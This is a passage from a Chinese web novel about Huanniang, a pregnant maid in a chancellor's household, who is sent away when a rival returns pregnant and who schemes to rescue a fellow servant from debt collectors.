没一会儿,脸颊便红了。 所以她这是羞怯的提了一个大胆的要求? 要他抄录的?这不是得寸进尺,那是什么? “你可知,我很忙?” 欢娘连忙点头,看爷表情严肃,心里也有些担心,莫不是自己真的太得寸进尺? “那……那您让奴婢在这儿抄,行不?” 萧怀停见她小心翼翼,又难掩失落。 看着桌上厚重的本子,眉宇间多了几分无奈。 “那要抄到何时去?给你一个月时间,只怕也没那本事。” 他有些头疼。 萧怀停深感无奈。 还真是给自己挖了个深坑啊。 当即他就翻开第一页,开始誊抄。 欢娘都不大敢相信,爷不是不愿意的吗?怎么主意改变的那么快,这又……愿意了? 直到第一页都写完,她都不大敢上去认。 “可有不认识的?” 萧怀停冷声问道。 欢娘吓的缩了缩脖子,却是拿起一旁干净的毛笔,用笔杆子轻触。 “这个,还有这个……” 她声音都放的极轻,没有半点底气。 偏偏她还不争气,一页上五十个八字,有四十个不认识。 等她说完,书房内气压极低。 欢娘也实在不好意思了,便伸出手,想将那页纸拿回来。 “要不奴婢……自己想想法子去。” 她怕再待下去,爷他反悔,笔一扔,就那绝世孤本,都不给她了。 萧怀停气的不想说话。 可脑子里却闪过她自己傻啦吧唧,拿着他亲手所写的字,一个一个去问人。 “回来。” 罢了罢了,自找的。 欢娘就这样,学了一上午的字。 午后,她便去铺子里,才刚开业,自然是要盯紧些的。 可她好学,一路上都在回忆爷教的那些字。 长风院里,安静的可怕。 萧一往书房看了又看,只见爷奋笔疾书,眉头紧促,好像遇到了极难处理的事情。 可他记得,今日爷其实没什么事。 下午。 两个光鲜亮丽的女人出现在凝香阁门口。 欢娘刚上二楼,看见来人时,她都惊了。 那不是相爷的柳姨娘,还有王姨娘吗? 寻常是不得出府的,老夫人规定每月的初一,初十,二十,还有月末,一共四天准许她们出府。 平日里除非得老夫人允诺,才会外出。 今天又不是特殊日子,她们怎么会来? 欢娘慌了一下。 只见两人从脂粉阁买了东西,又往香膏阁去,身后丫鬟大包小包拎着。 没一会儿的功夫,就买了一堆东西离开。 看那样子,不是来找茬的。 欢娘暗松了口气,对相爷的这两位姨娘,她是有些印象的。 前些年,在老夫人院里做事,就听嬷嬷提起过。 因为相爷难以有子嗣,跟夫人和离后便想遣散后院。 可那两位姨娘却哭喊着要留在相爷身边,哪怕是生不了孩子,也绝不走。 嬷嬷说,这两位姨娘,是高门庶女,就算被放出去一样会被家族送给达官贵人做妾。 做谁的妾,都不如做相爷的,而且没了当家主母,两位姨娘不受约束,相爷又大方,吃穿用度从不苛待。 两人是为了荣华富贵,才一直留在相府。 听闻相爷一贯冷淡,极少踏足后院,那两位姨娘也就只会在逢年过节时露面。 欢娘对两位的了解,不算多。 可依着她们的身份,还有日常出府的规矩,怎么可能就为了来这儿买东西,特意告假呢? 第六十九章她这次回来,完全变了 这其中肯定是另有隐情的。 晚上,回府以后,她便想去找相爷,打听打听。 她有孕的消息定是瞒着的,对外她也不过是伺候相爷的粗使丫鬟而已。 爷院里的消息一向隐蔽,她一点儿也不担心会被泄露。 可就是这样,她才越是不明白,那两位姨娘为何会去楼里?根本就无法用巧合来解释。 可相爷却出门了。 采菊告诉她,爷外出办事,暂定是三日。 欢娘有些没反应过来。 心里有些小小的失落,爷走了,也没跟她说一声。 虽说也犯不着和她说。 “今日生意如何?” “嗯,还成。” 欢娘心不在焉的点了点头,爷不在,她瞬间卸下了所有的精气神,白日里的疲惫在此刻似乎是加倍了。 “今日在铺子里,可瞧见什么特别的客人?” 听到采菊这么一说,欢娘又打起了三分精神,有些疑惑。 “姐姐,你知道?” “是我放出去的人,我怎会不知呢?” 采菊轻笑。 “爷每年都会给那两位姨娘送些东西,既然你店铺开业,我想着便请两位姨娘去挑选些自己喜欢的,一方面祝你生意兴隆,另一方面也帮爷办好了此事。” “当然,是打着爷的名号,让两位姨娘出府的,那算是爷的意思。” 她又道。 所以,这算是爷在帮她吗? “谢谢。” 欢娘方才的失落烟消云散,对着采菊微笑。 “爷不在,这两日你出府可要先与我报备。” 采菊又道。 爷可交代过,再三保证欢娘的安全,绝不能让她出事。 随后,欢娘便回到自己的小屋,洗洗就睡了。 躺下时还不忘复习一下已经学过的字,然后将爷亲笔写的香料配方,放在枕头底下,心情愉悦的睡了。 她想,等爷回来,她定要千倍百倍的好好的伺候他,爷所给的,都是她这辈子想要却无法靠着自己得到的东西。 可隔天,府里却发生了一件大事。 外出游历快两个月的大公子,他……回来了。 但更加不可思议的是他又带了人回来。 那人,还是宁从夏。 欢娘欲出门,去铺子里时,一辆马车便停在了相府门口。 “欢娘,过来帮忙。” 正疑惑时,大公子就从车里钻了出来。 车帘掀开,看到了一张极其熟悉的,恶心嘴脸。 只是现在的她,脸色还略有些苍白,看着眉眼,透着一丝憔悴和哀怨,而且人好像很虚的样子。 上次她是受了外伤,却很凶。 可这次……瞧着,也没哪里不好。 欢娘走过去,将人从车上扶下。 “小心些。” 大公子还不忘叮嘱着。 关心又深情的目光始终落在宁从夏身上,就好像他对她的情意,从未变化。 欢娘看的郁闷。 这才出去多久?怎么又和宁从夏遇上了? 她将宁从夏从车上扶下来。 可刚下车,她就朝着她靠过来,身子软软的,走路无力,半个人都倒在欢娘身上。 不经意碰到她手时,都软绵绵的。 而且手腕上还有很细小的伤痕。 “宁小姐,您这是怎么了?” 半个人靠在她身上,大半力气就压了过来,欢娘有些吃不消。 “看到是我,不震惊吗?” 宁从夏却低声道。 听那语气,还带着几分挑衅。 欢娘心绪复杂,确实不知道他们经历了什么,为何会再回来? 可似乎……也并非坏事。 “是有些惊讶,奴婢还以为,您已经离开京都了。” “是离开了,但我和晋文有缘。” 宁从夏轻笑。 欢娘蹙了蹙眉,正要说话时,大公子已经交接好了马车,直奔宁从夏。 没给她走路,拦腰抱起,就往府里去。 “去将柳大夫请来。” 他吩咐着。 和上次回来,几乎是一样的话,可这次的语气,要温和的多。 欢娘也心急,想看看宁从夏到底是怎么了。 所以她便匆匆往药铺去。 等回来时,承德院里,围满了人。 除了月莹以外,老夫人也过来了,真是极热闹。 可看老夫人的样子,有些奇怪。 对宁从夏,她居然没什么敌意。 柳大夫弯着腰,连忙上前诊脉。 欢娘无意间看到宁从夏的目光,时不时就看向她,眼底闪着不明意味的光茫,让欢娘很不舒服。 但很快,她便知道那是什么了。 是挑衅,也是胜者才会有的姿态。 “老夫人,这姑娘……是有了一个多月的身孕。” 柳大夫平稳的声音传来。 在场就一瞬间寂静,好像连呼吸都忘了。 欢娘惊愕的看向宁从夏,只见她好像冲着她,露出了胜利的微笑。 怀孕? 她几乎要下意识摸一摸她那其实已经微微有一点弧度的小腹了。 可更快传来的是老夫人的目光。 哪怕只是快速扫了一眼,也让欢娘意识到,她得藏好些。 好在现在的衣服还有些厚实,根本看不出来。 “可当真?” 老夫人已经在问了,言语中根本掩饰不住欣喜。 欢娘却看到大公子笑容灿烂,还带着一丝不好意思。 看着宁从夏的眼神却越发的深情。 还能有假的吗? 柳大夫的口吻,是笃定的。 “怎么会……” 欢娘正嘀咕着,这下可麻烦了。 便听到旁侧有人小声说了一句,循声望去,月莹脸色煞白的往后退了两步,几乎要站不稳了。 她满脸的不可置信。 可这屋里,更多的却是欢喜。 不管宁从夏是什么身份,可她怀孕了,这对老夫人而言,就是天大的惊喜。 所以在厚金重赏柳大夫以后,老夫人就留下,亲自安排宁从夏。 “从今日起,你便住在我相府,秦嬷嬷,你亲自去她身边照料着……” 萧苏氏眼底,全是对子孙的渴望。 “祖母,我想就让小夏住在这院子里,先前她来,出了许多是非,这次……我要一直陪着她,这是我答应过她的,绝不会离开她半步,直到孩子平安出生。” 只是她话都没说完,就被孙儿打断了。 萧苏氏有些错愕。 “她去别处,我也不放心。” “而且孙儿还有一事相求,孙儿想尽快娶小夏进门,以正妻之名。” 欢娘听到这话时,都惊了。 可并不意外。 只见大公子已经跪在了老夫人面前,求娶。 第七十章囚禁,去母留子? 正妻?那岂不是和前世一样了? 欢娘心底的恐慌闪过,前世他们大婚之日,她被折磨的画面突然闪现。 她急的要连忙上前去。 “公子,这是不是太突然了些?” 可有人比她更着急。 月莹还没接受宁从夏怀孕的事,就听到这样震惊的消息,还不等反应过来,她就已经冲到了公子面前。 “有什么突然的?她怀了我的孩子,我应早些娶她,难道你觉得应该让我的孩子流落在外,成为私生子?” 萧晋文看到月莹的瞬间,心头涌现的情绪就很复杂,一听她的口吻,是反对他和小夏成亲,就满是不悦。 “妾……不是那意思,只是……只是……” “婚姻大事,并非儿戏,你若要娶正妻,还需你父亲来定夺。” “再者,若以正妻之礼,三媒六聘,行着规矩下来,快则三个月,慢则半年,届时,宁姑娘腹部怕是就藏不下了,你们大婚,岂非要受人指指点点?” “对,没错,妾就是老夫人说的这个意思,只是妾愚笨,一时说不清。” 月莹听到这话,连忙点头。 而宁从夏就一直垂着眸,什么都没说,所以思绪藏进眼里,看不到半分。 “那就简化那些繁文缛节,小夏是江湖女子,不拘小节,她定不会在意这些。” 可大公子是铁了心,要立刻娶她为正妻。 “犯什么浑,她是嫁给世家公子,不是嫁给江湖大侠,若不照着礼节来,那怎么能算是明媒正娶?若不是名正言顺,你让宗亲,让各世家如何看待你的正妻?” 老夫人冷声呵斥。 “你父亲若听到你说这些混账话,别说娶亲了,你看看,他会不会将宁姑娘留下。” 大公子本还欲反驳。 可是最后听到老夫人这话后,沉默了。 欢娘只看到宁从夏抓紧了衣角,手背上青筋暴露,却仍旧什么都没说。 可真够奇怪的,居然这么能忍啊。 “那依着祖母的意思,我不能娶小夏?那她肚子里的孩子……” “依着我看,还是照着先前与你谈过的,先让宁姑娘入府做贵妾,左右你心里只有她,日后再寻个机会,抬她为正妻。” “抬贵妾入门,规矩少,最多一个月便能让她名正言顺待在你身边。” 老夫人继续道。 “可……可是……” “晋文,为了孩子,就听老夫人的吧,我不希望未来我的孩子会被人笑话,他必须要堂堂正正的做人。” 大公子看了又看宁从夏,有些紧张。 可谁知道,宁从夏再说话时,竟是那般的温和,而且似乎是被逼的必须要妥协了,眼底都闪着些许泪光。 说完话,眼泪就顺着脸颊流下。 看的实在让人心疼。 不一样了,她是不一样了。 “你若答应,我便立刻去安排,你既怀了晋文的孩子,我相府必定不会亏待你的。” 老夫人温声安抚着。 欢娘就忍不住苦笑。 她怎么能想到,原先是为了逼的宁从夏和大公子撕破脸皮,才出了先纳贵妾这馊主意,可现在,居然成真了? 她宁从夏不是高傲的很,只做正妻,要独自霸占大公子吗? 可现在,不仅是妾,而且大公子院里已经有一个姨娘了。 欢娘心绪复杂,恍惚间,老夫人已经让秦嬷嬷将先前伺候的那两个丫鬟,再次指派给宁从夏。 因为马上要准备成亲,所以她照旧是住倚竹院去。 一切好像都没变,似乎就是她宁从夏闹了一场别扭,又回来了。 可好像又什么都变了。 因为宁从夏就跟完全变了个人一样。 等欢娘送着老夫人离开时,才到院门口,秦嬷嬷就在她耳边轻声低语。 “老夫人吩咐,一会儿去找她。” 欢娘听到这话,心都沉了。 她也很是茫然,不知道这件事到底要怎么处理。 爷他……还有两日,才会回来。 “欢娘,你不能再留在相府了……” 可是她没想到,老夫人竟是要直接将她撵走。 欢娘急的连忙跪下地。 可还没来得及求情,就被一旁秦嬷嬷拉起。 “不是要撵你走的意思,只是你的身份特殊,如今这肚子快要藏不住了,所以我打算将你送到别院里养着,直到你生完孩子。” “老夫人,奴婢不想走。” 欢娘急的眼泪落下。 倒不是有多难过,只是宁从夏才回来她就被赶走?难道就因为宁从夏也怀了孩子? 她怀的孩子,要比她精贵吗? “奴婢发誓,一定老老实实待在爷的院子里……” “别忘了你是晋文的通房,一直都只是在相爷身边伺候,做些粗活,你说,你有孕,当如何解释?” 她话没说完,就被老夫人冷声打断。 欢娘看到了她的些许不耐烦。 难道就因为又有人能为相府绵延子嗣,她的肚子,就显得不那么珍贵? “可……可爷说……爷会帮奴婢安排好的,奴婢想等爷回来,他一定能有法子……” “就算他找到合适的理由了,保住了名声,但他们父子呢?难道晋文还能不知道你腹中的孩子是谁的?” “我会找个理由,先将你送走,你放心,吃穿用度不会亏待你,我自会给你安排护卫,有经验的产婆,一直照顾你,直到你生产为止。” 可老夫人已经是一副不容再拒绝的口吻。 “今天晚上就走。” 并且,她还很着急。 欢娘被打的一个措手不及。 “老夫人,奴婢……” “你若好生待着,不闹事,我便会安排小厨房的厨娘,随时去看看你,给你解解闷。” 她求情的话还没说出,就先是老夫人的威胁。 她居然用赵姐姐来威胁她? 欢娘看着一向慈眉善目的老夫人,不敢相信,她菩萨心肠,怎么做起事来,这般决绝? 仿佛,只要她再多说一句,她的态度只会更加严厉和不近人情。 就好像最后哪怕是将她关起来,囚禁她,去母留子也是有可能的。 欢娘有些无法接受。 明明就在不久前,老夫人和善,爷也对她宠爱有加。 所有人都在期盼着她腹中胎儿出生,可现在,却一切都变了。 第七十一章被赶出府,卑微如蝼蚁 可她怎么能走呢? 今日老夫人说这番话,倒是提醒了她,怎么就没想过,去母留子这条路,可是解决难题最省事的好办法。 牺牲她一个小丫鬟,能让相爷有了子嗣,也免了流言蜚语,父子也不会因她有隔阂。 她怎么就那么蠢,没想过这些? 或许,就连爷也有这样的想法,将她安置在长风院,之所以待她那般好,都是为了尽快生下孩子。 毕竟,他从未提过,要给她名分。 欢娘一路走回长风院。 “快些,给你一盏茶的功夫收拾东西,老夫人吩咐,今晚必须送你到别院里养着。” 身后,一嬷嬷催促着。 她以前在老夫人院中没见过这位嬷嬷,但老夫人已经让她来照顾自己了。 嬷嬷姓刘,看着是个精明能干,不好招惹的。 欢娘心头悲戚。 可她怎甘心就这样离开呢? 爷不在,但长风院里都是他的心腹。 欢娘加快步伐,欲找采菊说情,找找办法。 可罕见的居然是采菊也不在。 这下可麻烦了。 欢娘知道,当下再没人能帮到自己,只能先收拾了下行李。 可她也绝不能这样坐以待毙。 所以就在屋内,留下了些东西。 很快,她收拾了东西,跟着那刘嬷嬷离开。 后门,冷清的街道上没什么人,她坐着略有些破旧的灰色马车就这么走了。 此时,欢娘深刻的意识到自己的身份,真是很卑微,只不过是一只小小的蚂蚁,平时能过的安稳,是因为没人在意。 可若被瞧见了,碍事了,会被毫不留情的清除。 所谓的别院,乘坐马车,都过了半个时辰。 是个一进一出的小院子,远离喧嚣,倒是很适合独居。 院里有两个仆人,听说还是夫妻俩,一个是护院,一个负责屋内伺候,看年纪就三十出头些。 屋子里也干净整洁,绿植也被照养的很不错,可不像是没人住的地方,要么就是老夫人早就安排好一切,也早就有此打算了。 欢娘看了后,一想到老夫人总是慈眉善目微笑的样子,心底就生出了许多寒意。 自己果然是笨的很离谱。 “嬷嬷,住在这里,我平日里可能外出?” 欢娘里里外外看了一圈以后,就算不能认,但只怕自己也只能暂时在这儿落脚了。 “你这话说的,老夫人是让你来这儿养胎,又非囚禁,平日里自然能外出活动。” 闻言,刘嬷嬷笑道。 “只是那相府,是万不能再去的,在外,也不能让人知晓您的身份。” “这个我知道。” 欢娘点点头,心里也松了口气。 还好,老夫人还没做到那般绝情和冷漠。 如此,她店里的事情,还是照常能去处理的。 新开业这些天,生意不错。 她做的那些香膏,已经卖出去一大半了,她也得尽快备货才是。 “只要你不去相府,前往安全的地方,不管是哪里,我都陪着你。” 刘嬷嬷又笑道。 而欢娘正想起了丽姑姑,也不知她那处的生意,做的如何了。 “刘嬷嬷,我定听老夫人的话,不去相府,只是我原先在府上,和丽姑姑合伙做了点小生意,做些小东西,丽姑姑负责去卖。” “不知回头你能不能帮帮,帮我把东西送去给丽姑姑?我也好换些小钱来使。” 欢娘解释起自己和丽姑姑之间的合作。 “这不难,回头我帮你送就是。” 刘嬷嬷听着,觉得不是什么要紧的。 只要欢娘不存着以孩子去要挟,去闹事,其他事情都随她去。 老夫人说了,在孩子生下来前,定要她平安。 “太好了,多谢刘嬷嬷,您可真是个好人。” 欢娘故作惊喜的拽着她衣袖,隐隐还有依赖靠近的意思。 刘嬷嬷面色有些冷淡,但还是礼貌性的弯起了嘴角。 当晚,欢娘便失眠了。 等她洗洗干净,入睡时,已经是半夜。 这里的床很大,屋内还点着安神香,宽敞的屋子干净清爽,所有的配置,堪比主子住的。 但她无名无份的,还见不得光,可真是讽刺的很。 也不知爷回来后,知道她这般处境,会不会…… 只怕是不会的,老夫人将自己安置的这样好,他又有什么拒绝的理由呢? 反正,先前每次纠缠,都是她厚着脸皮贴上去的。 欢娘想了想,最后昏昏欲睡。 等再醒来时,手贴在小腹处,那里已经微微鼓起,她摸了好一阵,也没真切的感受到,肚子里有生命。 可她还是忍不住笑了。 然后起床,收拾一番后,就去了铺子里。 至于回府的事,昨夜她想破脑袋也没能想到好的办法,如今来看,只能再等等了。 既然她这般的卑微,那便要更加努力,够着自己能够着的所有东西。 只是当刘嬷嬷跟着她进了凝香阁,直奔后院时,她惊呆了。 “这是……你开的?” 毕竟欢娘一路进屋,都是轻车熟路,一副主人家做派。 欢娘刚想点头。 可却突然想起,关于凝香阁和那落寞王女的传言,还有……她是老夫人的人,得防着。 “我哪有那样的本事,不过是这儿的老板见我有些手艺,所以请我来这里做些粗活罢了。” “也是相爷仁善,先前见我一直闷在院里,担心对孩子不好,所以让我出来走动走动,我在这儿做活,爷是知晓的,回头刘嬷嬷跟老夫人说一声。” 欢娘笑着解释。 刘嬷嬷脸色微变,一时也看不清她的神色。 “您自便,我就在那屋里坐着。” 欢娘也不再管她,自顾自的进了调香室。 也不担心她是不是会去店里打听老板娘的消息,因为早前欢娘就担心过流言很快被破。 所以只需她们一问三不知就成。 这样的日子,平静的过了五日,欢娘除了在铺子里调香,回去以后不用再伺候人,反而还能有人伺候着。 按理说,是极好的。 可她却心绪难安。 因为照着爷的行程,他早该回来了,他一回来没瞧见自己在府上,不应该问一问吗? 就算不关心她的去处,可孩子,他应当是极为在意的吧? 可都过了这些天,那边却一点消息都没有。 是不是就意味着,他已经默认了老夫人的做法? 第七十二章打起精神来,有钱再说 她当真只能在此处待产? 欢娘心情烦闷。 傍晚,从铺子里出来,她想买条鱼回去吃,刚到卖菜的小街,听到一阵哭声和打骂声。 很是杂乱,不少卖菜的摊贩都围在那里看戏。 就连卖鱼的也踮起脚往里边看。 欢娘本不想凑热闹,可也不能拿着人家的鱼就走,只能走过去,想提醒一下。 “放开我,放开我……” 可还没走两步,那屋子里就走出来了一群人。 还押着一个小丫鬟,哭的鼻涕眼泪直流,那叫一个惨。 可再惨,她也认出来了。 那不就是小翠吗? 挣扎间,手还拍到了其中一名壮汉,就被直接扔在了地上。 “你老子欠我们三百两银子,现在把你卖了,都不值那么多,再敢跟老子废话,老子就砍断你手脚,让你上街乞讨去……” 那壮汉凶狠的骂着,还用力踢了小翠一脚,只见她痛苦的捂着肚子,在地上一边哀嚎,一边哭。 “求求你们,放了我,我没有欠你们钱,他欠的钱,跟我没关系,我……” “你大爷的,你一家人是想赖债不成?我可告诉你,你的底细我都打听清楚了,不就是在大户人家做丫鬟吗?” “还是个活契,说白了就是个给钱办差的长工,老子现在把你卖了,那家人还得感谢我呢,毕竟人家要是知道你爹是个烂赌鬼,你娘是红窑子的,怕都要嫌你脏。” 那人骂骂咧咧的,又踢了一脚。 “带走。” 说着又冲上来,把人架起。 “就跟她那娘一样,卖去红窑,就这脸蛋瓜子,指不定能当个头牌,让人睡个三五年,怎么着也能把本钱给爷送回来了……” 红窑。 欢娘听到这两个字,脊背又冒出一阵阵的寒意。 被丢在那里的女人,连畜生都不如。 不过是供人玩乐的工具而已,欢娘还清楚记得,前世自己被扔进去时。 她看到那些女人,全都生无可恋的躺在木床上,剥光了衣服,男人一个跟着一个进去。 那画面,让她这辈子都不敢再响起。 只要去了那里,命最长的也就七八年,还有些个把月人就没了。 “不……不要,求求你们,放过我,我……我还钱,我把每个月的月钱都给你们,我做一辈子的工,总能还清的……” 嘴硬的小翠,眼看着真的要被拖走。 她怕了,卑微的恳求着。 可是那些人没一个搭理她的,逐渐的她绝望了。 欢娘看到她那副惨样,便想到了当初的自己,她能体会到她此刻的绝望和无助。 心里有些难受,也有那么些许的不忍。 “欢娘……” “欢娘,是你吗?求求你,帮帮我,帮帮我好不好?欢娘……” 就在她犹豫着,要不要帮忙时。 小翠看到了她。 就像是绝望中发现了一盏灯,小翠看她的眼神,亮的烫人,仿佛她是救世主一般。 “天王老子来了,今天都救不了你。” 那壮汉恶狠狠的道。 “欢娘……” 小翠被拖走,眼看着便要离开了。 欢娘不想救,因为她没那么大的本事,而且只要不看到,就当作没发生。 一眨眼,不过是又一具尸体被扔进护城河里喂鱼而已,不会有人在意的。 她闭了闭眼,打算就这么过了。 可却看到不远处,已经找过来的刘嬷嬷。 她得找机会,回到相府才行。 万不能和相府就此脱离。 “等等。” 也不管小翠这里是不是个机会,那一刻她仿佛找到了必须要救人的理由。 “怎么着?你还真要多管闲事啊?三百两。” 那壮汉被吵的不耐烦。 直接冲着欢娘伸出手来。 看那表情,如果欢娘说没有,他会觉得是捣乱的,而且还会暴打一顿。 小翠用一双充满袭击的目光,看着她,期待着。 “这里是三十两银子,您先拿着。” 欢娘取出身上的钱袋子,那是她从铺子里带出来,准备去购置香料的。 壮汉愣了一下,下一秒却不屑的笑着,掂量手中银子。 “就这么点,打发叫花子呢?” 虽这么说,但他还是把银子收了。 干他们这行的,可没有得了银子还往外丢的道理,能拿一点,那是一点。 “现在我给你点时间,说说话,要拿不出三百两,还是得卖她。” 壮汉依旧凶狠。 可光天化日之下,欢娘又没做什么,倒不怕他们。 “欠债还欠,天经地义,她的爹爹欠了你们赌钱,应当让他赔才是,几位大哥,我说的是不是?” 欢娘语气温和。 壮汉皱着眉看她,见她不似他人,叫喳喳的,就没太凶。 “你这不废话,他若能还得起,还用得着来家里拿人?那烂赌鬼,断了两只手,还拿什么还?” 只是语气仍旧不耐。 “不还有命吗?拿命去换,怎么也能值一百两银子,余下二百两,给她七天时间,如数奉还,至于这三十两,就当是给两位大哥的吃酒钱了。” “还望两位大哥帮帮忙,通融通融。” 欢娘一脸平静的道。 可那番话,却让人不寒而栗。 小翠眼泪还挂在脸上,甚至一时都不知该说些什么了。 “卖了你父亲,还他的赌钱,你愿意吗?” 欢娘再次看向小翠。 此时的她,魂儿都被吓没了。 立刻点头。 “他……他该死,我巴不得他去死。” 一个烂赌鬼,卖了妻子,卖了女儿,还有什么脸面可活? 再者他自己的赌债,他自己去还,天经地义的。 “你说的,七天后还?” 那壮汉掂量着手里的银子。 来要赌债是回去交差的,听这小娘子的意思,这三十两不算在赌债以内。 那他们自己便能私吞。 换个七天时间,对他们而言,不算难事。 “对,七天。” 欢娘一脸镇定,胸有成竹。 “行,就七天,进去,把那老头给老子拖出来。” 壮汉爽快答应了,进去就拖人。 小翠刚被松开的瞬间,连忙就缩到了欢娘背后,可依旧哭泣声不断。 尤其是在看到她那赌鬼亲爹被带走时,哭声更重。 “谢……谢谢你。” 直到人都走了,小翠才哽咽的开口。 “不怪我,卖了你爹?” 欢娘表情冷淡,两人本就不是什么要好的关系,甚至还算仇敌呢。 第七十三章叛主,有钱拿 小翠脸上的悲戚便更浓了些。 “自从他把我娘卖了之后,他就不是我爹了,这些年他威胁我拿钱给他花,还打着我的名号到处去借钱,我天天给他收拾烂摊子……” 她一边说,眼泪一边掉,说起她那个爹,眼中全是仇恨。 这次她回来,也是被他用她娘的线索骗回来的,还带了十两银子回来。 可谁知道,一进门,就被壮汉押着,要卖去红窑。 “我还要谢谢你,帮我摆脱了他,哪怕最后我真的要被卖去红窑,起码……今天也是报了仇。” 小翠苦笑着。 在欢娘眼中,她对父亲的仇恨很真实,对自己的感激,同样如此。 可她不确定,这样的感激小翠能持续多久,所以并不抱什么希望。 原本救她,也不是为了要她的感激。 “你爹的命,抵一百两,还有二百两,你打算怎么筹?” 所以言归正传,还是说正事的好。 “你……你能不能再帮帮我,想想办法?” 小翠摇着头,满含希冀的望着她。 她想着,欢娘敢那么跟壮汉承诺,必定是有了办法的。 只是她们的关系……小翠想起不久前自己还担心她报复,心情格外复杂。 而且,她那烂赌鬼的爹,分明就是个废物,他怎么就价值一百两呢?关键是赌坊的人还信了。 欢娘又怎么会知道那些。 “确实有个办法,不过要你自己去挣这二百两,能不能拿到,算你自己的本事。” 欢娘也没管她怎么想的,该说的,说了便是。 “什么办法?” 小翠好奇追问。 “去找宁姑娘,她大方的很,只要你为她做事,她定不会亏待你的。” 闻言,小翠含泪的眸光,逐渐放大,满目震惊。 下意识就想反驳,她可是月姨娘的人,那样做,岂不是叛主? 可近来,月姨娘情绪多变,很不好伺候,她吃了不少苦头。 以前,她之所以跟着月姨娘,也是看中了她和大公子感情不一般。 可现在,明眼人都看得出,那位宁姑娘,不仅是公子的心上人,而且还有了孩子。 “你说,什么办法。” 小翠紧张的咽了咽口水。 还是问了一句。 因为现在的她如果想活,就必须尽快弄到二百两银子,否则,她就只有死路一条。 欢娘嘴角微弯,笑道“放心,她大方的很,你不会吃亏的。” 又过了一会儿。 欢娘买了鱼,走出菜市场。 刘嬷嬷就在街口等着。 “那是府里的丫鬟?” 刘嬷嬷问了一句,态度不明。 “嗯,大公子院里的,叫小翠,她命不好……” 欢娘坦然,将刚才遇到的事情,跟刘嬷嬷说了一遍。 她就是看那是相府的人,才没露面的。 可这里发生的事情,她稍微一打听就知道了,欢娘也没必要去瞒着。 只是她和小翠说的那些话,没理由老老实实交代。 刘嬷嬷只知道,欢娘花了些银子,保了小翠几天。 “惹上他们,哪里是几两银子就能打发走的,你这是白花银子。” “也不能见死不救不是?我们认识,而且同在相府为奴,你兴许她真的能有办法,自救呢?” 欢娘笑着附和。 刘嬷嬷显然很不赞同,摇了摇头。 可是当她跟在欢娘身后回去时,眸中却划过一丝温和。 这丫头,倒是个心地好的。 另一边,小翠狼狈的回到府里,一进门,月莹就一鞭子甩了过来。 “一天到晚见不到人,去哪儿了?” 小翠的手背,火辣辣的疼。 “奴婢……奴婢家中有事,出去了一趟,姨娘,您……能不能帮帮奴婢,奴婢的父亲欠了银子……” “你家那破事,只有财神爷来了才能解决,我不过是后院一个不受宠的小妾而已,能有什么办法?要我说,你就老老实实待在院子里,哪里也别去……” 小翠欲求情,却被月莹打断,语气里满是不耐烦。 “算了算了,别提这些糟心事,我问你,这两日你可瞧见欢娘了?” 月莹眉宇间全是狠厉和焦躁。 小翠看着她,都觉得陌生。 不知从何时起,那个温柔沉稳的月莹,早就变了。 “说话啊。” 小翠只是沉默的片刻,月莹便不耐烦的吼道。 “没,没有,奴婢已经很久没在府上见过欢娘了。” “按理说,大公子回来,她应当回来伺候才是,可怎么还不见人,难道……还在相爷院里?” 月莹皱着眉,觉得有些奇怪。 因为宁从夏怀孕一事,她耿耿于怀,满心希望那欢娘能回来,争宠,让宁从夏不痛快。 可等啊等,却等不到她人。 “奴婢……不知。” “废物,你真没用,办什么事都办不好,早知道当初我就不该带你出来。” 月莹本就烦,看到畏畏缩缩的小翠,更是心烦意乱。 又骂了一顿,才让人走。 可再这样待下去,不行,她得想想办法。 黄昏时分。 月莹端着膳食来到承德院,却见这里已经开始修缮整理。 下人们还有说有笑的,说起了大公子要娶亲的事。 月莹怒火中烧。 她跟了公子,没有仪式,没有日子,转头就是一个宅院安置了。 可到了宁从夏这里,看这架势,那是要大办。 都说她和公子是从小一起长大的情分,都是骗鬼的。 月莹气的发抖,要这样放任下去,这承德院还能有她位置吗? 所以她必须要冷静。 公子不是高看欢娘吗?她得想法子拉拢欢娘。 所以她强忍着心中不适,进了门。 却看到公子和宁从夏正在同桌吃饭,公子还周到的给她挑鱼刺,一口一口的味。 她好不容易装出来的笑容,险些凝固。 “月姨娘?” 而公子也没搭理她。 反倒是宁从夏,看到她的瞬间,勾起了一抹浅浅的,带着嘲讽的笑。 月莹低头,行了礼。 “公子,宁姑娘,这是妾熬了一下午的人参鸡汤,专门送来给宁姑娘补补身子。” 她强忍着怨气,上前。 “嗯。” 萧晋文反应平淡,但还是给宁从夏盛了一碗。 “能直接喝吗?” 宁从夏看的来了火气,虽然还在笑,但眼神都冷了。 萧晋文愣住,摸了摸碗。 “不烫。” “宁姑娘是担心我下毒吗?” 却听月莹开口。 反应过来的萧晋文,下意识看向小夏,她脸上的笑容,好像是带着针的。 第七十四章欢娘,你死了 “我只是小心一点而已,晋文,你觉得我这话说的不对吗?” 宁从夏淡淡道。 月莹怒火中烧,险些要失去理智。 她实在是……太嚣张了。 当着公子的面,就这么诋毁她? 萧晋文看着那鸡汤,他方才还真没想那么多。 “月莹,小夏的饮食,有专门的人伺候,以后你不用这么辛苦。” 其实他心底觉得,没那可能。 可为了稳住小夏的情绪,这鸡汤,不喝就不喝了吧。 “公子,妾这也是关心您的孩子,也想和宁姑娘好好相处而已。” 可月莹听到这话,却愣住了。 不敢相信公子竟能说出这样的话来。 不知是委屈还是别的,瞬间红了眼眶,眼泪啪嗒啪嗒掉落。 “我不信你真心实意要与我相处,我也做不到和晋文的女人笑脸相迎,所以我们少见为妙。” 宁从夏冷眼看着她这副委屈样儿,碍眼极了。 “晋文,你应该知道,我为什么会跟你回来,我能为了孩子,原谅你这一次。” 萧晋文一见月莹这般哭,小夏咄咄逼人,心头有些无奈。 可小夏的话,提醒了他,终究……是他有错在先。 明明承诺了她,只会有她一个女人,可到底是食言了。 “月莹,日后没事,别再出现在小夏面前。” 萧晋文暗叹口气。 罢了罢了,就由着她吧,反正都是她的错。 “公子?” 月莹不可置信的看着他。 哪怕自己心头再不愿意,可也装的友善,来表心意了。 可怎么……能被这样赶出去呢? “那欢娘呢?公子是不是也把欢娘赶走了?” 她不信,公子能做到这般绝情。 欢娘不是他的新宠吗?难道,出个远门,将新宠也忘了? 萧晋文愣了一下,便感觉到小夏的目光,正死死盯着他。 提起欢娘,他是问心无愧的,清清白白。 可奈何,说再多小夏都不信,现在他也不想再刺激她。 “欢娘……被蛇咬了之后,身子骨一直不大好,前几日突然感染风寒,病逝了。” 